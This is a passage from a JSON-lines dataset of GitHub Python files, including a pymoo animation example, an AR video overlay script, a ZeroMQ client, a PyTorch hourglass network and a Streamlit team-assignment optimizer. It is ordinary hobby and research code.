SECONDS_IN_YEAR)\n","repo_name":"carkmorwin/CS-555-Group-1","sub_path":"gedcom/printer.py","file_name":"printer.py","file_ext":"py","file_size_in_byte":1878,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"72592472329","text":"import matplotlib.pyplot as plt\nfrom pyrecorder.recorder import Recorder\nfrom pyrecorder.writers.gif import GIF\n\nfrom pymoo.algorithms.moo.nsga2 import NSGA2\nfrom pymoo.optimize import minimize\nfrom pymoo.problems.multi import ZDT1\nfrom pymoo.util.nds.non_dominated_sorting import NonDominatedSorting\nfrom pymoo.visualization.pcp import PCP\nfrom pymoo.visualization.scatter import Scatter\n\nproblem = ZDT1(n_var=6)\n\nalgorithm = NSGA2()\n\nret = minimize(problem,\n               algorithm,\n               termination=('n_gen', 61),\n               seed=1,\n               save_history=True,\n               verbose=False)\n\nwriter = GIF(\"animation.gif\")\n\nwith Recorder(writer) as rec:\n\n    for algorithm in ret.history:\n\n        if algorithm.n_gen % 5 == 0:\n            X, F = algorithm.pop.get(\"X\", \"F\")\n            nds = NonDominatedSorting().do(F, only_non_dominated_front=True)\n            other = [k for k in range(len(F)) if k not in nds]\n\n            # A figure with two plots\n            fig, (ax1, ax2) = plt.subplots(2, figsize=(8, 6))\n            fig.suptitle(\"%s - %s - Gen %s\" % (\"ZDT1\", \"NSGA2\", algorithm.n_gen), fontsize=16)\n\n            # Design Space\n            pcp = PCP(ax=ax1, bounds=(problem.xl, problem.xu))\n            pcp.set_axis_style(color=\"black\", alpha=0.7)\n            pcp.add(X[other], color=\"blue\", linewidth=0.5)\n            pcp.add(X[nds], color=\"red\", linewidth=2)\n            pcp.do()\n\n            # Objective Space\n            sc = Scatter(ax=ax2)\n            sc.add(F[other], color=\"blue\")\n            sc.add(F[nds], color=\"red\")\n            sc.add(problem.pareto_front(), plot_type=\"line\", color=\"black\")\n            sc.do()\n\n            rec.record()\n\n            # comment this out to see the plots live\n            plt.close(fig)\n\n            print(algorithm.n_gen)\n","repo_name":"anyoptimization/pymoo","sub_path":"examples/visualization/gif.py","file_name":"gif.py","file_ext":"py","file_size_in_byte":1801,"program_lang":"python","lang":"en","doc_type":"code","stars":1804,"dataset":"github-code","pt":"16"}
+{"seq_id":"37264274107","text":"import json\nimport platform\n\nimport requests as req\n\nfrom storage import app\nfrom sysInfo import printAll\nimport config\n\n\ndef registerPress():\n    addr: str = app.getEntry(\"Server Address\")\n    token: str = app.getEntry(\"Device-Token\")\n    uname = platform.uname()\n\n    if addr != \"\" and token != \"\":\n        if \"http\" not in addr:\n            addr = \"http://\" + addr\n        app.setLabel(\"info\", \"Trying to contact cmm server\")\n        registerRequest = req.post(addr + \"/api/devices/register\", json={\n            \"loginsecret\": token,\n            \"name\": uname.node,\n            \"os\": uname.system,\n            \"osshort\": uname.system[0:3],\n            \"arch\": uname.machine,\n            \"mac\": \"Na\"\n        }, verify=False)\n        responseCode = registerRequest.status_code\n        if responseCode <= 200 or responseCode >= 300:\n            app.setLabel(\"info\", \"Something went wrong, token probably invalid\\nStatus code: \" + str(responseCode))\n        else:\n            jsonData = json.loads(registerRequest.text)\n            config.config[\"endpointURL\"] = addr\n            config.config[\"secret\"] = jsonData[\"clientSecret\"]\n            config.config[\"uuid\"] = jsonData[\"uuid\"]\n            config.save(config.config)\n            app.setLabel(\"info\", \"Successfully registered device\")\n            app.hideSubWindow(\"Register this device\")\n    else:\n        app.setLabel(\"info\", \"You have to specify everything\")\n\n\ndef openRegisterWindow():\n    printAll()\n    app.startSubWindow(\"Register this device\", modal=True)\n    app.setBg(\"#2d2d2d\", override=True)\n    app.setFg(\"whitesmoke\", override=True)\n    app.setIcon(\"./favicon.ico\")\n    app.setResizable(canResize=True)\n    app.setFont(size=10)\n    app.setSize(500, 210)\n    app.setPadding([20, 20])\n    app.setStretch(\"column\")\n    app.setSticky(\"nesw\")\n    app.setOnTop(True)\n\n    app.enableEnter(registerPress)\n\n    app.addLabelEntry(\"Server Address\")\n    app.setEntryDefault(\"Server Address\", \"enter the server address here\")\n\n    app.addLabelEntry(\"Device-Token\")\n    app.setEntryDefault(\"Device-Token\", \"Paste the device token here\")\n\n    app.setPadding([0, 0])\n    app.addLabel(\"info\", text=\"\")\n    app.setPadding([20, 20])\n\n    app.addButton(\"Claim Token and register this Device\", registerPress)\n    app.setButtonBg(\"Claim Token and register this Device\", \"#3a3a3a\")\n    app.setButtonFg(\"Claim Token and register this Device\", \"whitesmoke\")\n\n    app.stopSubWindow()\n    app.showSubWindow(\"Register this device\")\n","repo_name":"mt32net/cmm_hub","sub_path":"views/register.py","file_name":"register.py","file_ext":"py","file_size_in_byte":2472,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"43863234340","text":"# ======= imports\r\nimport cv2\r\nimport numpy as np\r\nfrom os import system\r\nimport mesh_renderer\r\n\r\n# ======= constants\r\nfigsize = (15, 15)\r\nKeyPoint_TRESH = 10\r\nis_downsample = False\r\n\r\n# === template image keypoint and descriptors\r\ntarget = cv2.imread(\"target.jpg\")\r\ntarget_rgb = cv2.cvtColor(target, cv2.COLOR_BGR2RGB)\r\ntarget_gray = cv2.cvtColor(target, cv2.COLOR_BGR2GRAY)\r\n\r\nsift = cv2.SIFT_create()\r\nkp_target, desc_target = sift.detectAndCompute(target_gray, None)\r\n\r\n# ==== forest AR ground\r\nforest_img = cv2.imread('forest.jpg')\r\nforest_img_rgb = cv2.cvtColor(forest_img, cv2.COLOR_BGR2RGB)\r\nforest_img_resize = cv2.resize(forest_img_rgb, (target.shape[1], target.shape[0]))\r\n\r\n# ===== video input, output and metadata\r\nvideo = cv2.VideoCapture(\"target.MOV\")\r\nfps = int(video.get(cv2.CAP_PROP_FPS))\r\nlength = int(video.get(cv2.CAP_PROP_FRAME_COUNT))\r\nwidth = int(video.get(cv2.CAP_PROP_FRAME_WIDTH))\r\nheight = int(video.get(cv2.CAP_PROP_FRAME_HEIGHT))\r\nprint(\"fps:\", fps)\r\nprint(\"lenth:\", length)\r\nprint(\"w:\", width)\r\nprint(\"h:\", height)\r\n\r\n# ===== video write\r\nfourcc = cv2.VideoWriter_fourcc(*'XVID')\r\nout = cv2.VideoWriter('final.avi', fourcc, fps, (width, height))\r\n\r\n# ===== camera calibration METADATA ===>> from \"./calib_chess/clibration data.txt\"\r\n\r\nRMS = 0.8470934589416081\r\n\r\ncam_matrix = np.array( [[1.68769662e+03, 0.00000000e+00, 9.24113165e+02],\r\n                        [0.00000000e+00, 1.62796480e+03, 4.65166299e+02],\r\n                        [0.00000000e+00, 0.00000000e+00, 1.00000000e+00]])\r\n\r\ndist_coeffs = np.array([1.82293496e-01, -4.70593759e-01, -3.52919002e-04, -1.07468922e-02, 1.17186427e+00])\r\n\r\n\r\nsqrSize = 5.56\r\ntarget_real_w = 15.2\r\ntarget_real_h = 22.5\r\n\r\n# adding 3d object on ground with meshRenrer\r\nprint(\"making 3d objects\\n\")\r\n\r\nwraper_first = mesh_renderer.MeshRenderer(cam_matrix, width, height, \"Trunk wood_obj/trunk wood.obj\", 0)\r\nwraper_second = mesh_renderer.MeshRenderer(cam_matrix, width, height, \"OBJ/Campfire.obj\", 1)\r\nwraper_third = mesh_renderer.MeshRenderer(cam_matrix, width, height, \"DeadTree/DeadTree.obj\", 2)\r\n\r\nprint(\"done!\")\r\n\r\nframe_num = -1\r\nls = 0\r\nwhile video.isOpened():\r\n    system('cls')\r\n    success, frame = video.read()\r\n    if not success:\r\n        print(\"can't read frame\")\r\n        break\r\n\r\n    frame_num += 1\r\n    frame_rgb = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)\r\n    frame_gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\r\n\r\n    # ====== find keypoints matches of frame and target\r\n    kp_frame, desc_frame = sift.detectAndCompute(frame_gray, None)\r\n\r\n    bf = cv2.BFMatcher()\r\n    matches = bf.knnMatch(desc_target, desc_frame, k=2)\r\n\r\n    # Ratio test\r\n    good_and_second_good_match_list = []\r\n    for m in matches:\r\n        if m[0].distance / m[1].distance < 0.5:\r\n            good_and_second_good_match_list.append(m)\r\n    good_match_arr = np.asarray(good_and_second_good_match_list)[:, 0]\r\n\r\n\r\n    if good_match_arr.size < 20:\r\n        print(\"skip frame \" + str(frame_num))\r\n        continue\r\n\r\n    if is_downsample:\r\n        if frame_num % 10 == 0:\r\n            continue\r\n\r\n    # ======== find homography\r\n    good_kp_target = np.array([kp_target[m.queryIdx].pt for m in good_match_arr])\r\n    good_kp_frame = np.array([kp_frame[m.trainIdx].pt for m in good_match_arr])\r\n    H_matrix, mask = cv2.findHomography(good_kp_target, good_kp_frame, cv2.RANSAC, 5.0)\r\n    if not isinstance(H_matrix, np.ndarray):\r\n        print(\"skip frame\")\r\n        continue\r\n\r\n    # ========= do warping of another image on target image\r\n    #bigger_ground = (target.shape[0]*3, target.shape[1]*3, target.shape[2])\r\n    mask_warped = cv2.warpPerspective(np.ones(target.shape, dtype=np.uint8), H_matrix, (frame_rgb.shape[1], frame_rgb.shape[0]))\r\n    mask_warped_bin = mask_warped > 0\r\n    im_warped = cv2.warpPerspective(forest_img_resize, H_matrix, (frame_rgb.shape[1], frame_rgb.shape[0]))\r\n    frame_rgb[mask_warped_bin] = im_warped[mask_warped_bin]\r\n\r\n    # ++++++++ take subset of keypoints that obey homography (both frame and target)\r\n    kp_sub_indx = (np.array(mask).flatten() > 0)\r\n    sub_kp_target = np.array(good_kp_target)[kp_sub_indx, :]\r\n    best_kp_frame = np.array(good_kp_frame.reshape(good_kp_frame.shape[0], 2))[kp_sub_indx, :]\r\n\r\n    # ++++++++ solve PnP to get cam pose (r_vec and t_vec)\r\n    # `cv2.solvePnP` is a function that receives:\r\n    # - xyz of the template in centimeter in camera world (x,3)\r\n    # - uv coordinates (x,2) of frame that corresponds to the xyz triplets\r\n    # - camera matrix\r\n    # - camera dist_coeffs\r\n    # output\r\n    # camera pose: (r_vec and t_vec) such that the uv is aligned with the xyz.\r\n    #\r\n    # NOTICE: the first input to `cv2.solvePnP` is (x,3) vector of xyz in centimeter- but we have the template keypoints in uv\r\n    # because they are all on the same plane we can assume z=0 and simply rescale each keypoint to the ACTUAL WORLD SIZE IN CM.\r\n    # For this we just need the template width and height in cm.\r\n    #\r\n    # this part is 2 rows\r\n\r\n    sub_kp_target_3d_cm = np.array([[x[0] / target_gray.shape[1] * target_real_w, x[1] / target_gray.shape[0] * target_real_h, 0] for x in sub_kp_target])\r\n    res, rvec, tvec = cv2.solvePnP(sub_kp_target_3d_cm, best_kp_frame, cam_matrix, dist_coeffs)\r\n\r\n    # ++++++ draw object with r_vec and t_vec on top of rgb frame\r\n\r\n    drawn_image = wraper_first.draw(frame_rgb, rvec, tvec)\r\n    drawn_image2 = wraper_second.draw(drawn_image, rvec, tvec)\r\n    drawn_image3 = wraper_third.draw(drawn_image2, rvec, tvec)\r\n\r\n    # =========== plot and save frame\r\n    final_frame = cv2.cvtColor(drawn_image3, cv2.COLOR_RGB2BGR)\r\n    #cv2.imshow(\"frame\", final_frame)\r\n    out.write(final_frame)\r\n\r\n    # ======= output status\r\n    status = int((frame_num/length) * 100)\r\n    if ls != status:\r\n        print(str(status) + \"% ...\")\r\n    ls = status\r\n# ======== end all\r\nvideo.release()\r\ncv2.destroyAllWindows()\r\nprint(\"====== finished ======\")\r\n\r\n","repo_name":"207Levy/AR-Project","sub_path":"planar_AR_empty.py","file_name":"planar_AR_empty.py","file_ext":"py","file_size_in_byte":5913,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"11375525809","text":"import os\nfrom setuptools import find_packages\nfrom setuptools import setup\n\nversion = '0.1.dev1'\n\nhere = os.path.abspath(os.path.dirname(__file__))\ntry:\n    README = open(os.path.join(here, 'README.md')).read()\nexcept IOError:\n    README = ''\n\ninstall_requires = [\n    'numpy',\n    'Pillow',\n    'scikit-image'\n    ]\n\ntests_require = [\n    ]\n\nsetup(\n    name=\"Image labelling tool\",\n    version=version,\n    description=\"A web-based labelling tool for Djano, Flask and Jupyter notebook\",\n    long_description=\"\\n\\n\".join([README]),\n    classifiers=[\n        \"Development Status :: 1 - Alpha\",\n        \"Intended Audience :: Developers\",\n        \"Intended Audience :: Science/Research\",\n        \"License :: OSI Approved :: MIT License\",\n        \"Programming Language :: Python :: 2.7\",\n        # \"Programming Language :: Python :: 3\",\n        # \"Programming Language :: Python :: 3.4\",\n        \"Topic :: Software Development :: User Interfaces\",\n        ],\n    keywords=\"\",\n    author=\"Geoffrey French\",\n    # author_email=\"brittix1023 at gmail dot com\",\n    url=\"https://bitbucket.org/ueacomputervision/image-labelling-tool\",\n    license=\"MIT\",\n    packages=find_packages(),\n    include_package_data=False,\n    zip_safe=False,\n    install_requires=install_requires,\n    extras_require={\n        'testing': tests_require,\n        },\n    )\n","repo_name":"yuyu2172/image-labelling-tool","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1338,"program_lang":"python","lang":"en","doc_type":"code","stars":66,"dataset":"github-code","pt":"16"}
+{"seq_id":"70208082889","text":"from typing import Callable\n\n\ndef counter(func: Callable) -> Callable:\n    \"\"\"\n    Декоратор - счетчик количества вызовов декорируемой функции.\n\n    :param func: декорируемая функция\n    :param lst: список для хранения данных о подсчетах\n\n    :return: Callable\n    \"\"\"\n\n    def wrapped_func(*args, **kwargs):\n        func(*args, **kwargs)\n        wrapped_func.count += 1\n        result = f'Количество вызовов функции {func.__name__}: {wrapped_func.count}'\n        return print(result)\n\n    wrapped_func.count = 0\n    return wrapped_func\n\n\n@counter\ndef test() -> None:\n    \"\"\"\n    Функция для теста\n    :return: None\n    \"\"\"\n    return\n\n\ntest()\ntest()\ntest()\ntest()\n","repo_name":"hummius/Python_basic","sub_path":"Module27/05_str_count/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":808,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"9195966939","text":"from time import sleep\nimport zmq\nimport argparse\nfrom clientreqs import Subscribe, Unsubscribe, Get, Put\nimport serverlist\n\nREQUEST_TIMEOUT = 1000  # msecs\nSETTLE_DELAY = 2000  # before failing over\n\nREQUEST_DICT = {\n    'subscribe': Subscribe,\n    'unsubscribe': Unsubscribe,\n    'get': Get,\n    'put': Put\n}\n\n\ndef arg_parse():\n    parser = argparse.ArgumentParser(\n        description='Select one of the possible commands: get, put, subscribe, unsubscribe')\n\n    # this serves as a parent parser\n    base_parser = argparse.ArgumentParser(add_help=False)\n\n    # add common args\n\n    get = argparse.ArgumentParser(add_help=False)\n    get.add_argument('id', help='string', type=str)\n    get.add_argument('topic', help='string', type=str)\n\n    put = argparse.ArgumentParser(add_help=False)\n    put_group = put.add_mutually_exclusive_group(required=True)\n    put_group.add_argument('-t', '--text', help='Text')\n    put_group.add_argument('-f', '--file', type=argparse.FileType('r'),\n                           help='File containing the text')\n    put.add_argument('topic', help='string', type=str)\n\n    subscribe = argparse.ArgumentParser(add_help=False)\n    subscribe.add_argument('id', help='string', type=str)\n    subscribe.add_argument('topic', help='string', type=str)\n\n    unsubscribe = argparse.ArgumentParser(add_help=False)\n    unsubscribe.add_argument('id', help='string', type=str)\n    unsubscribe.add_argument('topic', help='string', type=str)\n\n    # subparsers\n    subparsers = parser.add_subparsers(title='commands', dest='command')\n    subparsers.required = True\n    subparsers.add_parser('get', help='get',\n                          parents=[base_parser, get])\n\n    subparsers.add_parser('put', help='put',\n                          parents=[base_parser, put])\n\n    subparsers.add_parser('subscribe', help='subscribe',\n                          parents=[base_parser, subscribe])\n\n    subparsers.add_parser('unsubscribe', help='unsubscribe',\n                          parents=[base_parser, unsubscribe])\n\n    args = parser.parse_args()\n    if args.command == 'put':\n        args.text = args.file.read() if args.text is None else args.text\n    for arg in vars(args):\n        if arg != 'command' and arg != 'file':\n            setattr(args, arg, bytes(getattr(args, arg), 'utf-8'))\n\n    return args\n\n\ndef main():\n    args = arg_parse()\n\n    ctx = zmq.Context()\n\n    connected = False\n\n    for server in serverlist.SERVERS:\n        print(f\"I: connecting to server at {server}..\")\n        socket = ctx.socket(zmq.REQ)\n        request = REQUEST_DICT[args.command](args, socket, server)\n        request.send()\n\n        reply = request.get_ack()\n        if reply is not None:\n            connected = True\n            break\n\n        print(f\"W: no response from server, failing over\")\n        sleep(SETTLE_DELAY / 1000)\n        socket.close(linger=0)\n\n    if connected:\n        print(f\"I: server replied OK {reply}\")\n    else:\n        print('E: servers seem to be offline, abandoning')\n\n    return 0\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"biromiro/feup-sdle-proj1","sub_path":"src/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":3044,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"33910347233","text":"import torch\r\nimport torch.nn as nn\r\nimport torch.nn.functional as F\r\n\r\n\r\ndef build_conv(in_channels, out_channels, kernel_size, stride, padding):\r\n    return nn.Conv2d(in_channels, out_channels, kernel_size=kernel_size, stride=stride, padding=padding, bias=False)\r\n\r\n\r\nclass ConvBlock(nn.Module):\r\n    def __init__(self, in_channels, out_channels, block_options):\r\n        super().__init__()\r\n\r\n        kernel_size = block_options.get('kernel_size') if block_options is not None else 3\r\n        stride = block_options.get('stride') if block_options is not None else 1\r\n        padding = block_options.get('padding') if block_options is not None else 1\r\n        batch_size = block_options.get('batch_size') if block_options is not None else 32\r\n        use_group_norm = block_options.get('use_group_norm') if block_options is not None else False\r\n\r\n        self.conv1 = build_conv(in_channels, int(out_channels / 2), kernel_size, stride, padding)\r\n        self.conv2 = build_conv(int(out_channels / 2), int(out_channels / 4), kernel_size, stride, padding)\r\n        self.conv3 = build_conv(int(out_channels / 4), int(out_channels / 4), kernel_size, stride, padding)\r\n\r\n        if not use_group_norm:\r\n            self.bn1 = nn.BatchNorm2d(in_channels)\r\n            self.bn2 = nn.BatchNorm2d(int(out_channels / 2))\r\n            self.bn3 = nn.BatchNorm2d(int(out_channels / 4))\r\n            self.bn4 = nn.BatchNorm2d(in_channels)\r\n        else:\r\n            self.bn1 = nn.GroupNorm(batch_size, in_channels)\r\n            self.bn2 = nn.GroupNorm(batch_size, int(out_channels / 2))\r\n            self.bn3 = nn.GroupNorm(batch_size, int(out_channels / 4))\r\n            self.bn4 = nn.GroupNorm(batch_size, in_channels)\r\n\r\n        if in_channels != out_channels:\r\n            self.down_sample = nn.Sequential(\r\n                self.bn4,\r\n                nn.ReLU(True),\r\n                nn.Conv2d(in_channels, out_channels, kernel_size=1, stride=1, bias=False)\r\n            )\r\n        else:\r\n            self.down_sample = None\r\n\r\n    def forward(self, x):\r\n        res = x\r\n\r\n        out1 = self.conv1(F.relu(self.bn1(x), True))\r\n        out2 = self.conv2(F.relu(self.bn2(out1), True))\r\n        out3 = self.conv3(F.relu(self.bn3(out2), True))\r\n\r\n        out = torch.cat([out1, out2, out3], 1)\r\n\r\n        if self.down_sample is not None:\r\n            res = self.down_sample(res)\r\n\r\n        out += res\r\n\r\n        return out\r\n\r\n\r\nclass HourGlassNetwork(nn.Module):\r\n    def __init__(self, depth, in_channels, out_channels, block_options):\r\n        super().__init__()\r\n\r\n        self.name = 'hourglass'\r\n        self.depth = depth\r\n        self.in_channels = in_channels\r\n        self.out_channels = out_channels\r\n        self.block_options = block_options\r\n\r\n        self._generate_block(self.depth)\r\n\r\n    def _generate_block(self, depth):\r\n        self.add_module('b1_' + str(depth), ConvBlock(self.in_channels, self.out_channels, **self.block_options))\r\n        self.add_module('b2_' + str(depth), ConvBlock(self.in_channels, self.out_channels, **self.block_options))\r\n\r\n        if depth > 1:\r\n            self._generate_block(depth - 1)\r\n        else:\r\n            self.add_module('b2+_' + str(depth), ConvBlock(self.in_channels, self.out_channels, **self.block_options))\r\n\r\n        self.add_module('b3_' + str(depth), ConvBlock(self.in_channels, self.out_channels, **self.block_options))\r\n\r\n    def _forward(self, depth, x):\r\n        up1 = x\r\n        up1 = self._modules['b1_' + str(depth)](up1)\r\n\r\n        down1 = F.avg_pool2d(x, 2, stride=2)\r\n        down1 = self._modules['b2_' + str(depth)](down1)\r\n\r\n        if depth > 1:\r\n            down2 = self._forward(depth - 1, down1)\r\n        else:\r\n            down2 = down1\r\n            down2 = self._modules['b2+_' + str(depth)](down2)\r\n\r\n        down3 = down2\r\n        down3 = self._modules['b3_' + str(depth)](down3)\r\n\r\n        up2 = F.interpolate(down3, scale_factor=2, mode='bicubic', align_corners=True)\r\n\r\n        return up1 + up2\r\n\r\n    def forward(self, x):\r\n        return self._forward(self.depth, x)\r\n\r\n\r\nclass HourGlassFilter(nn.Module):\r\n    def __init__(self,\r\n                 num_stack,\r\n                 depth,\r\n                 in_channel,\r\n                 last_channel,\r\n                 block_options,\r\n                 down_type='conv64',\r\n                 use_sigmoid=True,\r\n                 ):\r\n        super().__init__()\r\n\r\n        self.num_stack = num_stack\r\n        self.depth = depth\r\n        self.last_channel = last_channel\r\n        self.down_type = down_type\r\n        self.use_sigmoid = use_sigmoid\r\n        self.block_options = block_options\r\n        self.conv1 = nn.Conv2d(in_channel, 64, kernel_size=7, stride=2, padidng=3)\r\n\r\n        self.use_group_norm = block_options.get('use_group_norm')\r\n\r\n        if not self.use_group_norm:\r\n            self.bn1 = nn.BatchNorm2d(64)\r\n        else:\r\n            self.bn1 = nn.GroupNorm(32, 64)\r\n\r\n        if self.down_type == 'conv64':\r\n            self.conv2 = ConvBlock(64, 64, **self.block_options)\r\n            self.down_conv2 = nn.Conv2d(64, 128, kernel_size=3, stride=2, padding=1)\r\n        elif self.down_type == 'conv128':\r\n            self.conv2 = ConvBlock(128, 128, **self.block_options)\r\n            self.down_conv2 = nn.Conv2d(128, 128, kernel_size=3, stride=2, padding=1)\r\n        elif self.down_type == 'avg_pool' or self.down_type == 'no_down':\r\n            self.conv2 = ConvBlock(64, 128, **self.block_options)\r\n\r\n        self.conv3 = ConvBlock(128, 128, **self.block_options)\r\n        self.conv4 = ConvBlock(128, 256, **self.block_options)\r\n\r\n        for stack in range(self.num_stack):\r\n            self.add_module('m' + str(stack), HourGlassNetwork(self.depth, 256, **self.block_options))\r\n            self.add_module('top_m_' + str(stack), ConvBlock(256, 256, **self.block_options))\r\n            self.add_module('conv_last' + str(stack), nn.Conv2d(256, 256, kernel_size=1, stride=1, padding=0))\r\n\r\n            if not self.use_group_norm:\r\n                self.add_module('bn_end' + str(stack), nn.BatchNorm2d(256))\r\n            else:\r\n                self.add_module('bn_end' + str(stack), nn.GroupNorm(32, 256))\r\n\r\n            self.add_module('l' + str(stack), nn.Conv2d(256, last_channel, kernel_size=1, stride=1, padding=0))\r\n\r\n            if stack < self.num_stack - 1:\r\n                self.add_module('bl' + str(stack), nn.Conv2d(256, 256, kernel_size=1, stride=1, padding=0))\r\n                self.add_module('al' + str(stack), nn.Conv2d(last_channel, 256, kernel_size=1, stride=1, padding=0))\r\n\r\n    def forward(self, x):\r\n        x = F.relu(self.bn1(self.conv1(x)), True)\r\n\r\n        if self.down_type == 'avg_pool':\r\n            x = F.avg_pool2d(self.conv2(x), 2, stride=2)\r\n        elif self.down_type in ['conv64', 'conv128']:\r\n            x = self.conv2(x)\r\n            x = self.down_conv2(x)\r\n        elif self.down_type == 'no_down':\r\n            x = self.conv2(x)\r\n\r\n        norm_x = x\r\n\r\n        x = self.conv3(x)\r\n        x = self.conv4(x)\r\n\r\n        outputs = []\r\n\r\n        for stack in range(self.num_stack):\r\n            hourglass = self._modules['m' + str(stack)](x)\r\n\r\n            hourglass = self._modules['top_m' + str(stack)](hourglass)\r\n            hourglass = self._modules['conv_last' + str(stack)](hourglass)\r\n            hourglass = self._modules['bn_end' + str(stack)](hourglass)\r\n            hourglass = F.relu(hourglass)\r\n\r\n            out1 = self._modules['l' + str(stack)](hourglass)\r\n\r\n            if self.use_sigmoid:\r\n                outputs.append(nn.Tanh()(out1))\r\n            else:\r\n                outputs.append(out1)\r\n\r\n            if stack < self.num_stack - 1:\r\n                hourglass = self._modules['bl' + str(stack)](hourglass)\r\n                out2 = self._modules['al' + str(stack)](hourglass)\r\n                x = x + hourglass + out2\r\n\r\n        return outputs, norm_x\r\n\r\n\r\n\r\n","repo_name":"pleasure97/3d-machine-learning-study-and-practice","sub_path":"PIFuHD/filter.py","file_name":"filter.py","file_ext":"py","file_size_in_byte":7868,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"31729921900","text":"import streamlit as st\nimport pandas as pd\n\nfrom config import Config\nfrom data_transform.data_control import DataControl\nfrom optimizer.optimizer import Optimizer\nfrom streamlit_app.utils import custom_write, endline\n\n\ndef print_tables_for_debug():\n    raw_inputs = {\n        'caps_df': st.session_state.caps_df,\n        'unitats_df': st.session_state.unitats_df,\n        'caps_preferences_df': st.session_state.caps_preferences_df,\n        'unitats_preferences_df': st.session_state.unitats_preferences_df\n    }\n    for a, b in raw_inputs.items():\n        st.write(a, b)\n\n\ndef run_optimizer(scale_preferences=False):\n    # TODO: introduir a algun lloc el tema scale preferences\n    config = Config()\n    data_control = DataControl(config)\n    raw_inputs = {\n        'caps_df': st.session_state.caps_df.copy(),\n        'unitats_df': st.session_state.unitats_df.copy(),\n        'caps_preferences_df': st.session_state.caps_preferences_df.copy(),\n        'unitats_preferences_df': st.session_state.unitats_preferences_df.copy(),\n        'fixed_caps': st.session_state.fixed_caps.copy()\n    }\n\n    data_control.set_raw_inputs(raw_inputs)\n    data_control.transform_from_app_inputs()\n\n    optimizer = Optimizer(config, data_control.transformed_inputs)\n    solution = optimizer.run()\n    return solution\n\n\ndef opti_checks(place):\n    some_caps = len(st.session_state.caps) > 0\n    if not some_caps:\n        place.warning('No hi ha caps introduïts')\n    some_unitats = len(st.session_state.unitats) > 0\n    if not some_unitats:\n        place.warning('No hi ha unitats introduïdes')\n    some_cap_cap_preference = st.session_state.caps_preferences_df.positive_preference.sum() > 0 or \\\n                              st.session_state.caps_preferences_df.negative_preference.sum() < 0\n    if some_caps and not some_cap_cap_preference:\n        place.warning('No hi ha preferències cap-cap')\n    some_cap_unitat_preference = st.session_state.unitats_preferences_df.positive_preference.sum() > 0 or \\\n                                 st.session_state.unitats_preferences_df.negative_preference.sum() > 0\n    if some_caps and some_unitats and not some_cap_unitat_preference:\n        place.warning('No hi ha preferències cap-unitat')\n    return some_caps and some_unitats and some_cap_cap_preference and some_cap_unitat_preference\n\n\ndef set_fixed_caps(key, unitat):\n    st.session_state.fixed_caps[unitat] = st.session_state[key]\n\n\ndef optimizer():\n    st.header('Resultats: equips de caps')\n    # save_to_csv = st.button('Save inputs to CSV (testing)')\n    run_place = st.container()\n\n    results_place = st.container()\n    # TODO: remove, this is for testing purposes\n\n    # if save_to_csv:\n    #     st.session_state.caps_df.to_csv(f'data/raw/inputed_in_app/caps_df.csv', index=False)\n    #     st.session_state.unitats_df.to_csv(f'data/raw/inputed_in_app/unitats_df.csv', index=False)\n    #     st.session_state.caps_preferences_df.to_csv(f'data/raw/inputed_in_app/caps_preferences_df.csv', index=False)\n    #     st.session_state.unitats_preferences_df.to_csv(f'data/raw/inputed_in_app/unitats_preferences_df.csv',\n    #                                                    index=False)\n    #     pd.DataFrame({cap: [k] for (k, v) in st.session_state.fixed_caps.items() for cap in v}) \\\n    #         .to_csv(f'data/raw/inputed_in_app/fixed_caps.csv', index=False)\n    # print_tables_for_debug()\n\n    good_to_run = opti_checks(run_place)\n    if len(st.session_state.unitats) == 0:\n        return\n\n    unitat_cols = results_place.columns(len(st.session_state.unitats))\n\n    for i, unitat_col in enumerate(unitat_cols):\n        # unitat_col.custom_write(st.session_state.unitat[i])\n        unitat = st.session_state.unitats[i]\n        fixed_caps_key = f'fixed_caps_{i}'\n        available_caps = set(st.session_state.caps).difference(\n            set([cap for u in st.session_state.unitats for cap in st.session_state.fixed_caps[u] if u != unitat]))\n        unitat_col.multiselect(f'Caps fixats a {unitat}', options=available_caps, key=fixed_caps_key,\n                               on_change=set_fixed_caps, kwargs={'unitat': unitat, 'key': fixed_caps_key},\n                               default=st.session_state.fixed_caps[unitat])\n    unitat_cols = results_place.columns(len(st.session_state.unitats))\n\n    for i, unitat_col in enumerate(unitat_cols):\n        unitat = st.session_state.unitats[i]\n        custom_write(unitat_col, unitat, bold=True, auto_detect_color=True)\n        for cap in st.session_state.fixed_caps[unitat]:\n            custom_write(unitat_col, cap, color='black')\n    columns = results_place.columns(4 * 2 + 1)\n    endline(columns[4])\n\n    run_button = columns[4].button('Fes els equips!')\n\n    if run_button:\n        if not good_to_run:\n            run_place.error('Falten inputs per poder executar!')\n        else:\n            # TODO: un tracker de les execucions. Poder tornar a tries anteriors\n            # TODO: parametritzar les restriccions. Per exemple no demanar paritat de gènere\n            solution = run_optimizer()\n            if solution is None:\n                results_place.error('El problema és infactible! Revisa les restriccions que has imposat: min/max caps, '\n                                    'caps fixats a determinades unitats...')\n                return\n\n            for i, unitat_col in enumerate(unitat_cols):\n                unitat = st.session_state.unitats[i]\n                for cap in solution.equips_de_caps[unitat]:\n                    if cap not in st.session_state.fixed_caps[unitat]:\n                        custom_write(unitat_col, cap, color='grey')\n\n            by_cap, by_unitat = solution.get_stats()\n            unitat_cols = results_place.columns(len(st.session_state.unitats))\n            for i, unitat_col in enumerate(unitat_cols):\n                unitat = st.session_state.unitats[i]\n                value = round(by_unitat.loc[by_unitat.unitat == unitat, 'happiness_percent'].values[0], 1)\n                unitat_col.metric('Happiness', 